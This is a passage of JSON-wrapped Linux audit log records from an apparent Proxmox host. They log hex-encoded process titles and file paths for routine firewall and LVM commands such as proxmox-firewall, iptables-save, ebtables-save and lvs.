msg=audit(1781965315.936:65095): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966115121,"@rawstring":"node=pve type=PATH msg=audit(1781966115.121:68487): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965315932,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965315.932:65094): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966114979,"@rawstring":"node=pve type=PATH msg=audit(1781966114.979:68486): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965315924,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965315.924:65093): proctitle=\"ip6tables-save\""} {"@timestamp":1781966114979,"@rawstring":"node=pve type=PATH msg=audit(1781966114.979:68486): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965315918,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965315.918:65092): proctitle=\"iptables-save\""} {"@timestamp":1781966114948,"@rawstring":"node=pve type=PATH msg=audit(1781966114.948:68485): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965315911,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965315.911:65091): proctitle=\"ip6tables-save\""} {"@timestamp":1781966114948,"@rawstring":"node=pve type=PATH msg=audit(1781966114.948:68485): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965315903,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965315.903:65090): proctitle=\"iptables-save\""} {"@timestamp":1781966110433,"@rawstring":"node=pve type=PATH msg=audit(1781966110.433:68484): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965315897,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965315.897:65089): proctitle=\"ebtables-restore\""} {"@timestamp":1781966110433,"@rawstring":"node=pve type=PATH msg=audit(1781966110.433:68484): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965315895,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965315.895:65088): proctitle=\"ebtables-restore\""} {"@timestamp":1781966110433,"@rawstring":"node=pve type=PATH msg=audit(1781966110.433:68483): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965315888,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965315.888:65087): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781966110433,"@rawstring":"node=pve type=PATH msg=audit(1781966110.433:68482): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965315883,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965315.883:65086): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781966110422,"@rawstring":"node=pve type=PATH msg=audit(1781966110.422:68481): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965315877,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965315.877:65085): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781966110422,"@rawstring":"node=pve type=PATH msg=audit(1781966110.422:68481): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965315871,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965315.871:65084): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781966110422,"@rawstring":"node=pve type=PATH msg=audit(1781966110.422:68480): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965315865,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965315.865:65083): proctitle=697073657400726573746F7265"} {"@timestamp":1781966110422,"@rawstring":"node=pve type=PATH msg=audit(1781966110.422:68479): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965315858,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965315.858:65082): proctitle=\"ip6tables-save\""} {"@timestamp":1781966106110,"@rawstring":"node=pve type=PATH msg=audit(1781966106.110:68478): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965315852,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965315.852:65081): proctitle=\"iptables-save\""} {"@timestamp":1781966106110,"@rawstring":"node=pve type=PATH msg=audit(1781966106.110:68478): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965315847,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965315.847:65080): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781966106107,"@rawstring":"node=pve type=PATH msg=audit(1781966106.107:68477): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965315840,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965315.840:65079): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966106107,"@rawstring":"node=pve type=PATH msg=audit(1781966106.107:68477): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965315839,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965315.839:65078): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966106106,"@rawstring":"node=pve type=PATH msg=audit(1781966106.106:68476): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965315839,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965315.839:65077): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966106106,"@rawstring":"node=pve type=PATH msg=audit(1781966106.106:68476): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965315831,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965315.831:65076): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966106106,"@rawstring":"node=pve type=PATH msg=audit(1781966106.106:68475): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965315823,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965315.823:65075): proctitle=\"ip6tables-save\""} {"@timestamp":1781966106102,"@rawstring":"node=pve type=PATH msg=audit(1781966106.102:68474): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965315816,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965315.816:65074): proctitle=\"iptables-save\""} {"@timestamp":1781966106102,"@rawstring":"node=pve type=PATH msg=audit(1781966106.102:68474): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965315811,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965315.811:65073): proctitle=69707365740073617665"} {"@timestamp":1781966106102,"@rawstring":"node=pve type=PATH msg=audit(1781966106.102:68474): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965315802,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965315.802:65072): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781966106095,"@rawstring":"node=pve type=PATH msg=audit(1781966106.095:68473): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965315795,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965315.795:65071): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781966106095,"@rawstring":"node=pve type=PATH msg=audit(1781966106.095:68473): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965314943,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965314.943:65070): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781966106088,"@rawstring":"node=pve type=PATH msg=audit(1781966106.088:68472): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965314916,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965314.916:65069): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781966106088,"@rawstring":"node=pve type=PATH msg=audit(1781966106.088:68472): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965312545,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965312.545:65068): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966106081,"@rawstring":"node=pve type=PATH msg=audit(1781966106.081:68471): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965312545,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965312.545:65067): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966106081,"@rawstring":"node=pve type=PATH msg=audit(1781966106.081:68471): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965312545,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965312.545:65066): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966106073,"@rawstring":"node=pve type=PATH msg=audit(1781966106.073:68470): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965312534,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965312.534:65065): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966106073,"@rawstring":"node=pve type=PATH msg=audit(1781966106.073:68470): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965312534,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965312.534:65064): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966106068,"@rawstring":"node=pve type=PATH msg=audit(1781966106.068:68468): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965312534,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965312.534:65063): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966106068,"@rawstring":"node=pve type=PATH msg=audit(1781966106.068:68468): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965307522,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965307.522:65062): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966106062,"@rawstring":"node=pve type=PATH msg=audit(1781966106.062:68467): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965307522,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965307.522:65061): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966106062,"@rawstring":"node=pve type=PATH msg=audit(1781966106.062:68467): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965307522,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965307.522:65060): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966106056,"@rawstring":"node=pve type=PATH msg=audit(1781966106.056:68466): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965307510,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965307.510:65059): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966106056,"@rawstring":"node=pve type=PATH msg=audit(1781966106.056:68466): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965307510,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965307.510:65058): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966106051,"@rawstring":"node=pve type=PATH msg=audit(1781966106.051:68465): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965307510,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965307.510:65057): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966106051,"@rawstring":"node=pve type=PATH msg=audit(1781966106.051:68465): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965305783,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965305.783:65056): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781966106044,"@rawstring":"node=pve type=PATH msg=audit(1781966106.044:68464): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965305780,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965305.780:65055): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966106044,"@rawstring":"node=pve type=PATH msg=audit(1781966106.044:68464): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965305780,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965305.780:65054): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966106039,"@rawstring":"node=pve type=PATH msg=audit(1781966106.039:68463): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965305780,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965305.780:65053): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966106039,"@rawstring":"node=pve type=PATH msg=audit(1781966106.039:68463): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965305775,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965305.775:65052): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966106032,"@rawstring":"node=pve type=PATH msg=audit(1781966106.032:68462): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965305767,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965305.767:65051): proctitle=\"ip6tables-save\""} {"@timestamp":1781966106032,"@rawstring":"node=pve type=PATH msg=audit(1781966106.032:68462): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965305760,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965305.760:65050): proctitle=\"iptables-save\""} {"@timestamp":1781966106024,"@rawstring":"node=pve type=PATH msg=audit(1781966106.024:68461): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965305752,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965305.752:65049): proctitle=\"ip6tables-save\""} {"@timestamp":1781966106024,"@rawstring":"node=pve type=PATH msg=audit(1781966106.024:68461): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965305744,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965305.744:65048): proctitle=\"iptables-save\""} {"@timestamp":1781966106020,"@rawstring":"node=pve type=PATH msg=audit(1781966106.020:68460): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965305742,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965305.742:65047): proctitle=\"ebtables-restore\""} {"@timestamp":1781966106020,"@rawstring":"node=pve type=PATH msg=audit(1781966106.020:68460): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965305738,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965305.738:65046): proctitle=\"ebtables-restore\""} {"@timestamp":1781966106017,"@rawstring":"node=pve type=PATH msg=audit(1781966106.017:68459): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965305734,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965305.734:65045): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781966106017,"@rawstring":"node=pve type=PATH msg=audit(1781966106.017:68459): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965305728,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965305.728:65044): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781966106016,"@rawstring":"node=pve type=PATH msg=audit(1781966106.016:68458): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965305722,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965305.722:65043): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781966106016,"@rawstring":"node=pve type=PATH msg=audit(1781966106.016:68458): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965305716,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965305.716:65042): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781966106015,"@rawstring":"node=pve type=PATH msg=audit(1781966106.015:68457): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965305710,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965305.710:65041): proctitle=697073657400726573746F7265"} {"@timestamp":1781966106011,"@rawstring":"node=pve type=PATH msg=audit(1781966106.011:68456): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965305702,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965305.702:65040): proctitle=\"ip6tables-save\""} {"@timestamp":1781966106011,"@rawstring":"node=pve type=PATH msg=audit(1781966106.011:68456): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965305696,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965305.696:65039): proctitle=\"iptables-save\""} {"@timestamp":1781966106011,"@rawstring":"node=pve type=PATH msg=audit(1781966106.011:68456): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965305692,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965305.692:65038): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781966106002,"@rawstring":"node=pve type=PATH msg=audit(1781966106.002:68455): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965305685,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965305.685:65037): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966106002,"@rawstring":"node=pve type=PATH msg=audit(1781966106.002:68455): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965305683,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965305.683:65036): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966105993,"@rawstring":"node=pve type=PATH msg=audit(1781966105.993:68454): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965305683,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965305.683:65035): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966105993,"@rawstring":"node=pve type=PATH msg=audit(1781966105.993:68454): item=0 